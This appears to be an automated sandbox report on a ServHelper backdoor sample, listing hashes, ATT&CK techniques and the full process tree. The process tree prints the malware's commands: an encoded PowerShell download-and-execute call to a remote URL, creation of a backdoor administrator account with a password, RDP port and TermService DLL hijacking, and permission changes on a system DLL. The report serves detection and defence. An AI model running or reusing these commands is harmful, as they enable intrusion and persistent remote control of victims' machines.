servhelper | a81d0099ecd54a32aa6b858544b82a809237cddc903b45b032618d93ef7f70f3

Analysis

max time kernel
131s
max time network
127s
platform
windows7_x64
resource
win7-en-20211208
submitted
31-01-2022 23:41

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General

Target

a81d0099ecd54a32aa6b858544b82a809237cddc903b45b032618d93ef7f70f3.exe
Size

4.5MB
MD5

d9825d1424b9058fd87f5bb6e808346a
SHA1

21980e67e2bba65b9753021e9091c2ab7c99f3e3
SHA256

a81d0099ecd54a32aa6b858544b82a809237cddc903b45b032618d93ef7f70f3
SHA512

7359f0bc4f06f48b8a60764ba142bf7650cee52cfa8499142686c846abc8366faf6f8746573ec370eef64e6c92b5999e8e22f9521c4da91626d7d783883a0cef

Score

10^/10

servhelper backdoor discovery exploit persistence trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

5 1500 powershell.exe
6 1500 powershell.exe
Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076
Possible privilege escalation attempt 8 IoCs
exploit

Processes:

takeown.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exe

pid process

268 takeown.exe
1708 icacls.exe
1080 icacls.exe
960 icacls.exe
760 icacls.exe
868 icacls.exe
1052 icacls.exe
1220 icacls.exe
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

flow	pid	process
5	1500	powershell.exe
6	1500	powershell.exe

pid	process
268	takeown.exe
1708	icacls.exe
1080	icacls.exe
960	icacls.exe
760	icacls.exe
868	icacls.exe
1052	icacls.exe
1220	icacls.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
\Windows\Branding\mediasrv.png	upx
\Windows\Branding\mediasvc.png	upx

Loads dropped DLL 2 IoCs

Processes:

pid process

1368
1368
Modifies file permissions 1 TTPs 8 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

icacls.exeicacls.exeicacls.exeicacls.exetakeown.exeicacls.exeicacls.exeicacls.exe

pid process

760 icacls.exe
868 icacls.exe
1052 icacls.exe
1220 icacls.exe
268 takeown.exe
1708 icacls.exe
1080 icacls.exe
960 icacls.exe
Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description ioc process

File created C:\Windows\system32\rfxvmt.dll powershell.exe

pid	process
1368
1368

pid	process
760	icacls.exe
868	icacls.exe
1052	icacls.exe
1220	icacls.exe
268	takeown.exe
1708	icacls.exe
1080	icacls.exe
960	icacls.exe

description	ioc	process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 9 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\RLTM6XRWF4RBA2CAEEXC.temp	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe

Modifies data under HKEY_USERS 4 IoCs

Processes:

WMIC.exeWMIC.exepowershell.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = f071eba30417d801	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

1304 reg.exe
Runs net.exe

pid	process
1304	reg.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
1324	powershell.exe
1204	powershell.exe
1328	powershell.exe
1696	powershell.exe
1324	powershell.exe
1324	powershell.exe
1324	powershell.exe
1500	powershell.exe

Suspicious behavior: LoadsDriver 4 IoCs

Processes:

pid process

464
1368
1368
1368

pid	process
464
1368
1368
1368

Suspicious use of AdjustPrivilegeToken 18 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exeicacls.exeWMIC.exeWMIC.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	1324	powershell.exe
Token: SeDebugPrivilege	1204	powershell.exe
Token: SeDebugPrivilege	1328	powershell.exe
Token: SeDebugPrivilege	1696	powershell.exe
Token: SeRestorePrivilege	1080	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	1956	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1956	WMIC.exe
Token: SeAuditPrivilege	1956	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1956	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1956	WMIC.exe
Token: SeAuditPrivilege	1956	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	884	WMIC.exe
Token: SeIncreaseQuotaPrivilege	884	WMIC.exe
Token: SeAuditPrivilege	884	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	884	WMIC.exe
Token: SeIncreaseQuotaPrivilege	884	WMIC.exe
Token: SeAuditPrivilege	884	WMIC.exe
Token: SeDebugPrivilege	1500	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

a81d0099ecd54a32aa6b858544b82a809237cddc903b45b032618d93ef7f70f3.exepowershell.execsc.exenet.execmd.execmd.exe

description	pid	process	target process
PID 604 wrote to memory of 1324	604	a81d0099ecd54a32aa6b858544b82a809237cddc903b45b032618d93ef7f70f3.exe	powershell.exe
PID 604 wrote to memory of 1324	604	a81d0099ecd54a32aa6b858544b82a809237cddc903b45b032618d93ef7f70f3.exe	powershell.exe
PID 604 wrote to memory of 1324	604	a81d0099ecd54a32aa6b858544b82a809237cddc903b45b032618d93ef7f70f3.exe	powershell.exe
PID 1324 wrote to memory of 1276	1324	powershell.exe	csc.exe
PID 1324 wrote to memory of 1276	1324	powershell.exe	csc.exe
PID 1324 wrote to memory of 1276	1324	powershell.exe	csc.exe
PID 1276 wrote to memory of 1352	1276	csc.exe	cvtres.exe
PID 1276 wrote to memory of 1352	1276	csc.exe	cvtres.exe
PID 1276 wrote to memory of 1352	1276	csc.exe	cvtres.exe
PID 1324 wrote to memory of 1204	1324	powershell.exe	powershell.exe
PID 1324 wrote to memory of 1204	1324	powershell.exe	powershell.exe
PID 1324 wrote to memory of 1204	1324	powershell.exe	powershell.exe
PID 1324 wrote to memory of 1328	1324	powershell.exe	powershell.exe
PID 1324 wrote to memory of 1328	1324	powershell.exe	powershell.exe
PID 1324 wrote to memory of 1328	1324	powershell.exe	powershell.exe
PID 1324 wrote to memory of 1696	1324	powershell.exe	powershell.exe
PID 1324 wrote to memory of 1696	1324	powershell.exe	powershell.exe
PID 1324 wrote to memory of 1696	1324	powershell.exe	powershell.exe
PID 1324 wrote to memory of 268	1324	powershell.exe	takeown.exe
PID 1324 wrote to memory of 268	1324	powershell.exe	takeown.exe
PID 1324 wrote to memory of 268	1324	powershell.exe	takeown.exe
PID 1324 wrote to memory of 1708	1324	powershell.exe	icacls.exe
PID 1324 wrote to memory of 1708	1324	powershell.exe	icacls.exe
PID 1324 wrote to memory of 1708	1324	powershell.exe	icacls.exe
PID 1324 wrote to memory of 1080	1324	powershell.exe	icacls.exe
PID 1324 wrote to memory of 1080	1324	powershell.exe	icacls.exe
PID 1324 wrote to memory of 1080	1324	powershell.exe	icacls.exe
PID 1324 wrote to memory of 960	1324	powershell.exe	icacls.exe
PID 1324 wrote to memory of 960	1324	powershell.exe	icacls.exe
PID 1324 wrote to memory of 960	1324	powershell.exe	icacls.exe
PID 1324 wrote to memory of 760	1324	powershell.exe	icacls.exe
PID 1324 wrote to memory of 760	1324	powershell.exe	icacls.exe
PID 1324 wrote to memory of 760	1324	powershell.exe	icacls.exe
PID 1324 wrote to memory of 868	1324	powershell.exe	icacls.exe
PID 1324 wrote to memory of 868	1324	powershell.exe	icacls.exe
PID 1324 wrote to memory of 868	1324	powershell.exe	icacls.exe
PID 1324 wrote to memory of 1052	1324	powershell.exe	icacls.exe
PID 1324 wrote to memory of 1052	1324	powershell.exe	icacls.exe
PID 1324 wrote to memory of 1052	1324	powershell.exe	icacls.exe
PID 1324 wrote to memory of 1220	1324	powershell.exe	icacls.exe
PID 1324 wrote to memory of 1220	1324	powershell.exe	icacls.exe
PID 1324 wrote to memory of 1220	1324	powershell.exe	icacls.exe
PID 1324 wrote to memory of 1632	1324	powershell.exe	reg.exe
PID 1324 wrote to memory of 1632	1324	powershell.exe	reg.exe
PID 1324 wrote to memory of 1632	1324	powershell.exe	reg.exe
PID 1324 wrote to memory of 1304	1324	powershell.exe	reg.exe
PID 1324 wrote to memory of 1304	1324	powershell.exe	reg.exe
PID 1324 wrote to memory of 1304	1324	powershell.exe	reg.exe
PID 1324 wrote to memory of 1320	1324	powershell.exe	reg.exe
PID 1324 wrote to memory of 1320	1324	powershell.exe	reg.exe
PID 1324 wrote to memory of 1320	1324	powershell.exe	reg.exe
PID 1324 wrote to memory of 1064	1324	powershell.exe	net.exe
PID 1324 wrote to memory of 1064	1324	powershell.exe	net.exe
PID 1324 wrote to memory of 1064	1324	powershell.exe	net.exe
PID 1064 wrote to memory of 1800	1064	net.exe	net1.exe
PID 1064 wrote to memory of 1800	1064	net.exe	net1.exe
PID 1064 wrote to memory of 1800	1064	net.exe	net1.exe
PID 1324 wrote to memory of 2036	1324	powershell.exe	cmd.exe
PID 1324 wrote to memory of 2036	1324	powershell.exe	cmd.exe
PID 1324 wrote to memory of 2036	1324	powershell.exe	cmd.exe
PID 2036 wrote to memory of 824	2036	cmd.exe	cmd.exe
PID 2036 wrote to memory of 824	2036	cmd.exe	cmd.exe
PID 2036 wrote to memory of 824	2036	cmd.exe	cmd.exe
PID 824 wrote to memory of 1700	824	cmd.exe	net.exe

C:\Users\Admin\AppData\Local\Temp\a81d0099ecd54a32aa6b858544b82a809237cddc903b45b032618d93ef7f70f3.exe
"C:\Users\Admin\AppData\Local\Temp\a81d0099ecd54a32aa6b858544b82a809237cddc903b45b032618d93ef7f70f3.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:604
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1324
- - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\qjdeca6i.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1276
  - - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES733.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC722.tmp"
      4⤵
      PID:1352
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1204
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1328
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1696
- - C:\Windows\system32\takeown.exe
    "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:268
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1708
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:1080
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:960
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:760
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:868
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1052
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1220
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:1632
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:1304
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:1320
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1064
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:1800
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2036
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:824
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        
        PID:1700
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:1312
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    PID:1188
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      PID:1028
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        
        PID:1704
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:1120
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:1252
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:1008

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
PID:1416
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  PID:1976
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:1956

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc yrP5BRJo /add
1⤵
PID:536
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc yrP5BRJo /add
  2⤵
  PID:1764
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc yrP5BRJo /add
    3⤵
    PID:2020

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
PID:1756
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  PID:1252
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:268

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" QSKGHMYQ$ /ADD
1⤵
PID:1900
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" QSKGHMYQ$ /ADD
  2⤵
  PID:1040
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" QSKGHMYQ$ /ADD
    3⤵
    PID:868

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
PID:1156
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  PID:1384
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:640

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc yrP5BRJo
1⤵
PID:1064
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc yrP5BRJo
  2⤵
  PID:1244
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc yrP5BRJo
    3⤵
    PID:1800

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:1960
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1956

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:2016
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:884

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:808
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:1040
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1500

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\RES733.tmp

MD5
4848ac7fdcb21aa84e1f3e1e6493c2c6

SHA1
2f324fc6c955f27aa3c9d74569ceb12c2a098ce9

SHA256
a1c0a92dec2be27212f43f7d30de6fdd6ff9f9ee8fea4e68dcf0eeeb538ffbab

SHA512
08d0f9b0cb2c74a652eb00b1726e54adc3ebb0ce4496a19fe8b93377dce1042993f86b049853c7b5d2bd61ca64c0457021d5b174edecb891ab90d1a7d5d9a660

Download Submit
C:\Users\Admin\AppData\Local\Temp\qjdeca6i.dll

MD5
c3bd087b3dd5f108dba9d5fa37594577

SHA1
fe9287709bbfd05f869413568542da1e9eee3cc2

SHA256
c934a26be1b82c739208cd538a7a874dc39eb7bf7f14a0b9addc6d12cb3b2a0e

SHA512
9fe98684b8f4f36f85bc67f8a632b016f6304370ed7caa02ccd49fb513bb1e545c659f1234279d02409b445267367858d1651a85773f2c5d7a67988b4504383d

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C:\Users\Admin\AppData\Local\Temp\qjdeca6i.pdb

MD5
7df180824a3d51215162b491741696e9

SHA1
672b098adab81282546920b1cf3d176eb99a0d58

SHA256
bb910aee936e13dff52cdc3b16a8d7cfd32df12ffb2645aae93d6a09c4601f95

SHA512
dcc1ccd33a6784bffa35c51af6c5a95137aa14dd0f6cb008563a891d469662a940b6ad8a5871baa6378eb6b5510d268b92193ee19e7bf097924b2d9d393a92a3

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C:\Users\Admin\AppData\Local\Temp\ready.ps1

MD5
3447df88de7128bdc34942334b2fab98

SHA1
519be4e532fc53a7b8fe2ae21c9b7e35f923d3bb

SHA256
9520067abc34ce8a4b7931256e4ca15f889ef61750ca8042f60f826cb6cb2ac9

SHA512
2ccf6c187c3e17918daadd1fc7ca6e7dfaf6b958468a9867cca233e3506906164dfeb6104c8324e09d3058b090eab22417695b001ddb84f3d98562aec05eb78f

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C:\Users\Admin\AppData\Local\Temp\resolve-domain.PS1

MD5
01e075558a0ce4e9014ce25634f73c8f

SHA1
0065436d4d8817d2d642f17d94ee57efc1a9089c

SHA256
b376725ce3b80dad76ff4bfab1172c46557b39a915456f725891b86e414564ab

SHA512
38747148f0d6dce0538dd11a39e488f7ffc50cf1ea4595b13b6252683161ba16e0d53a594c8ae2017d6d62f8ca4620c31796ebee9cfa75f309a0979657a950cb

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5
093f2b83511ff4a41d6fca9de7e02c12

SHA1
eccc59d2370cdf586f07d4fe00aefad9ec6d936c

SHA256
61cd1bb52966a9a01efe3a9745ba709d7d1a348695a93bcd32c9a33598c0a502

SHA512
30c6b4edb2436bddd90893b9cc02226ee40fb0d13365b9644aad4f3c62a6919d757a03c6ca336c555d1dcb5460e6bbd32c9d5a8ff37480fd82183e06505527b9

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5
093f2b83511ff4a41d6fca9de7e02c12

SHA1
eccc59d2370cdf586f07d4fe00aefad9ec6d936c

SHA256
61cd1bb52966a9a01efe3a9745ba709d7d1a348695a93bcd32c9a33598c0a502

SHA512
30c6b4edb2436bddd90893b9cc02226ee40fb0d13365b9644aad4f3c62a6919d757a03c6ca336c555d1dcb5460e6bbd32c9d5a8ff37480fd82183e06505527b9

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5
093f2b83511ff4a41d6fca9de7e02c12

SHA1
eccc59d2370cdf586f07d4fe00aefad9ec6d936c

SHA256
61cd1bb52966a9a01efe3a9745ba709d7d1a348695a93bcd32c9a33598c0a502

SHA512
30c6b4edb2436bddd90893b9cc02226ee40fb0d13365b9644aad4f3c62a6919d757a03c6ca336c555d1dcb5460e6bbd32c9d5a8ff37480fd82183e06505527b9

Download Submit
C:\Windows\system32\rfxvmt.dll

MD5
dc39d23e4c0e681fad7a3e1342a2843c

SHA1
58fd7d50c2dca464a128f5e0435d6f0515e62073

SHA256
6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9

SHA512
5cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7

Download Submit
\??\PIPE\lsarpc

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\PIPE\samr

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\PIPE\samr

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\PIPE\samr

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\CSC722.tmp

MD5
7b395d40a5f152c25fd6a70513a51fd2

SHA1
c0a9e4bae4c9893c59ec792b6c82eb14f1c5a5bd

SHA256
9af116841e92558b14703f2aed9994d0792ccffe7a79a23cbd4daa39dc05f033

SHA512
bf65e548b30f41e419a954450d1c2858426882ac27f21b52c05a8258fbfb0724fc8338d08b480076724a00630f8a5f4bdbeebe44072f76292b4f01249a657fca

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\qjdeca6i.0.cs

MD5
4864fc038c0b4d61f508d402317c6e9a

SHA1
72171db3eea76ecff3f7f173b0de0d277b0fede7

SHA256
0f5273b8fce9bfd95677be80b808119c048086f8e17b2e9f9964ae8971bd5a84

SHA512
9e59e8bee83e783f8054a3ba90910415edacfa63cc19e5ded9d4f21f7c3005ca48c63d85ce8523a5f7d176aa5f8abafc28f824c10dbfb254eed1ce6e5f55bf31

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\qjdeca6i.cmdline

MD5
9851312bb695cee6cc1173ac497a212e

SHA1
f4fa36b5d1e0ecf9c657967232dc1c8787a53d41

SHA256
2dbff328733c666442b60dccc2b2fe938863eb8e6203e762dd6d4991cadd4f15

SHA512
